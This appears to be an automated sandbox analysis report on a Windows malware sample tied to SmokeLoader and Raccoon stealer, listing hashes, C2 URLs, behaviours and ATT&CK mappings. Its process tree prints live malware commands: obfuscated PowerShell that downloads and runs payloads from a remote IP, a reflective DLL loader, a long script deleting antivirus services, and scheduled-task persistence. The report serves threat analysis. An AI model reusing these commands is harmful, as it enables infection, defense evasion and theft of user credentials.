Analysis

  • max time kernel
    151s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-08-2021 06:46

General

  • Target

    bfa14859432cc51e9f8a9b632dc38713.exe

  • Size

    302KB

  • MD5

    bfa14859432cc51e9f8a9b632dc38713

  • SHA1

    b76262d0b04a555f9ddbef1e3f8a99fe8bf50f5f

  • SHA256

    940856f93e56ecd69b6833c94a78247b3f8d60348ac9b73928fd338113fbbc9e

  • SHA512

    92df1e4440a47ac40a7a32fcd064632b4ca414e85a8b607d53dee0c95980159db198aff55247a73df59914eb0db4828685d5d21a0659ead1674d252bc9ac01d9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

83fbe81dd43f775dd8af3cd619f88f428fbd9a96

Attributes
  • url4cnc

    https://telete.in/opa4kiprivatem

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfa14859432cc51e9f8a9b632dc38713.exe
    "C:\Users\Admin\AppData\Local\Temp\bfa14859432cc51e9f8a9b632dc38713.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:996
  • C:\Users\Admin\AppData\Local\Temp\693A.exe
    C:\Users\Admin\AppData\Local\Temp\693A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:1548
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.2''+''41''+''.19.5''+''2/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:3276
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:996
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2020
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:2648
    • C:\Users\Admin\AppData\Local\Temp\6EF8.exe
      C:\Users\Admin\AppData\Local\Temp\6EF8.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:492
      • C:\Users\Admin\AppData\Local\Temp\4J0sUZK11d.exe
        "C:\Users\Admin\AppData\Local\Temp\4J0sUZK11d.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\SysWOW64\schtasks.exe
          /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
          3⤵
          • Creates scheduled task(s)
          PID:2216
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6EF8.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2304
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          3⤵
          • Delays execution with timeout.exe
          PID:580
    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3632
      • C:\Windows\SysWOW64\schtasks.exe
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
        2⤵
        • Creates scheduled task(s)
        PID:2436

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Modify Existing Service

    1
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Disabling Security Tools

    1
    T1089

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Peripheral Device Discovery

    1
    T1120

    Collection

    Data from Local System

    2
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Runtimebroker.exe
      MD5

      21b0c600acd7a7f957e3387f9a5c5aad

      SHA1

      297472985636d9bb5154992f4ad1e83bbdc821fe

      SHA256

      bd098349f7261ffae0cb0de33590d68730c7fd05eeb046ec7f3b4484a2b1cecb

      SHA512

      3d26fcb6a9aa64ae12ee8fbbe05a16fd5199c4b626e6fce321726aa03a249315f05500378487e847ca28d670326b17f915a8e8fb7f5ed7ed9cb67ce6120f815e

    • C:\ProgramData\Runtimebroker.exe
      MD5

      21b0c600acd7a7f957e3387f9a5c5aad

      SHA1

      297472985636d9bb5154992f4ad1e83bbdc821fe

      SHA256

      bd098349f7261ffae0cb0de33590d68730c7fd05eeb046ec7f3b4484a2b1cecb

      SHA512

      3d26fcb6a9aa64ae12ee8fbbe05a16fd5199c4b626e6fce321726aa03a249315f05500378487e847ca28d670326b17f915a8e8fb7f5ed7ed9cb67ce6120f815e

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      MD5

      6bf0e5945fb9da68e1b03bdaed5f6f8d

      SHA1

      eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

      SHA256

      dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

      SHA512

      977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      9c124072f58bbb02dec8580b37ec090c

      SHA1

      96328890ba89b73a6ff28e3a2b0cc75e8e67d868

      SHA256

      5b6cff6a25e4e4e8939c8026a0e76f7cd1987c873fc403d5be1c9a2f9252938f

      SHA512

      9849b70462f454a7ae6a03866fcf73ccb7d325e05ef662d55ee50a7f9d3e976bb46b01cfd1ed33bcb5d0c9f02cf25f31f48481f583a516d2f42c3c474a22f7ca

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      11d838827e27b5fe60dce1495951e403

      SHA1

      d83c25fa6f022888824d457d74a64044bc025902

      SHA256

      6dc4307022af546971d7216f389772c8986f39995265191b5995561099d59052

      SHA512

      5ed0c13b1ffd531d2669bf451d3eccf893345bba0af7d989f692261eb4bd7e02b6fc6a4462909a912eb32dd852e49df42154877390182f427fd5a78411eba659

    • C:\Users\Admin\AppData\Local\Temp\4J0sUZK11d.exe
      MD5

      1770a0e98a4d78983f336eba64e859df

      SHA1

      54ffcd3aff807860d765f41933a9e92f0bd359ae

      SHA256

      1b2a01df5ea1d61efe89352a307c4c9c27b9dce72d8a907cdd314c56cd064161

      SHA512

      b9cefa3c9b0af64e730454bdcc40dc07e0c579e4dae038ba175e3ef0215ccd8f436c07ce6439bc4a091765fd4c2870746137c9bbef938c4bc00ff3264d8e3997

    • C:\Users\Admin\AppData\Local\Temp\4J0sUZK11d.exe
      MD5

      1770a0e98a4d78983f336eba64e859df

      SHA1

      54ffcd3aff807860d765f41933a9e92f0bd359ae

      SHA256

      1b2a01df5ea1d61efe89352a307c4c9c27b9dce72d8a907cdd314c56cd064161

      SHA512

      b9cefa3c9b0af64e730454bdcc40dc07e0c579e4dae038ba175e3ef0215ccd8f436c07ce6439bc4a091765fd4c2870746137c9bbef938c4bc00ff3264d8e3997

    • C:\Users\Admin\AppData\Local\Temp\693A.exe
      MD5

      21b0c600acd7a7f957e3387f9a5c5aad

      SHA1

      297472985636d9bb5154992f4ad1e83bbdc821fe

      SHA256

      bd098349f7261ffae0cb0de33590d68730c7fd05eeb046ec7f3b4484a2b1cecb

      SHA512

      3d26fcb6a9aa64ae12ee8fbbe05a16fd5199c4b626e6fce321726aa03a249315f05500378487e847ca28d670326b17f915a8e8fb7f5ed7ed9cb67ce6120f815e

    • C:\Users\Admin\AppData\Local\Temp\693A.exe
      MD5

      21b0c600acd7a7f957e3387f9a5c5aad

      SHA1

      297472985636d9bb5154992f4ad1e83bbdc821fe

      SHA256

      bd098349f7261ffae0cb0de33590d68730c7fd05eeb046ec7f3b4484a2b1cecb

      SHA512

      3d26fcb6a9aa64ae12ee8fbbe05a16fd5199c4b626e6fce321726aa03a249315f05500378487e847ca28d670326b17f915a8e8fb7f5ed7ed9cb67ce6120f815e

    • C:\Users\Admin\AppData\Local\Temp\6EF8.exe
      MD5

      fae8647fd16b99bfd4eaefeca4fe894b

      SHA1

      949ad3aedafa32a6bc5eebfd478282a807a58b5b

      SHA256

      423c39c05e6542b80b279484a4eb22123aeaa2cbfa24c4c812df9c066c2d0e24

      SHA512

      eb2a7bfcbcbc6bfb70ba4040362504271236cd76fd2737723c65665a6fdd140385fb730b01619b1349f424d991ddb86dbada96b952454d86fd53167b7de07684

    • C:\Users\Admin\AppData\Local\Temp\6EF8.exe
      MD5

      fae8647fd16b99bfd4eaefeca4fe894b

      SHA1

      949ad3aedafa32a6bc5eebfd478282a807a58b5b

      SHA256

      423c39c05e6542b80b279484a4eb22123aeaa2cbfa24c4c812df9c066c2d0e24

      SHA512

      eb2a7bfcbcbc6bfb70ba4040362504271236cd76fd2737723c65665a6fdd140385fb730b01619b1349f424d991ddb86dbada96b952454d86fd53167b7de07684

    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
      MD5

      1770a0e98a4d78983f336eba64e859df

      SHA1

      54ffcd3aff807860d765f41933a9e92f0bd359ae

      SHA256

      1b2a01df5ea1d61efe89352a307c4c9c27b9dce72d8a907cdd314c56cd064161

      SHA512

      b9cefa3c9b0af64e730454bdcc40dc07e0c579e4dae038ba175e3ef0215ccd8f436c07ce6439bc4a091765fd4c2870746137c9bbef938c4bc00ff3264d8e3997

    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
      MD5

      1770a0e98a4d78983f336eba64e859df

      SHA1

      54ffcd3aff807860d765f41933a9e92f0bd359ae

      SHA256

      1b2a01df5ea1d61efe89352a307c4c9c27b9dce72d8a907cdd314c56cd064161

      SHA512

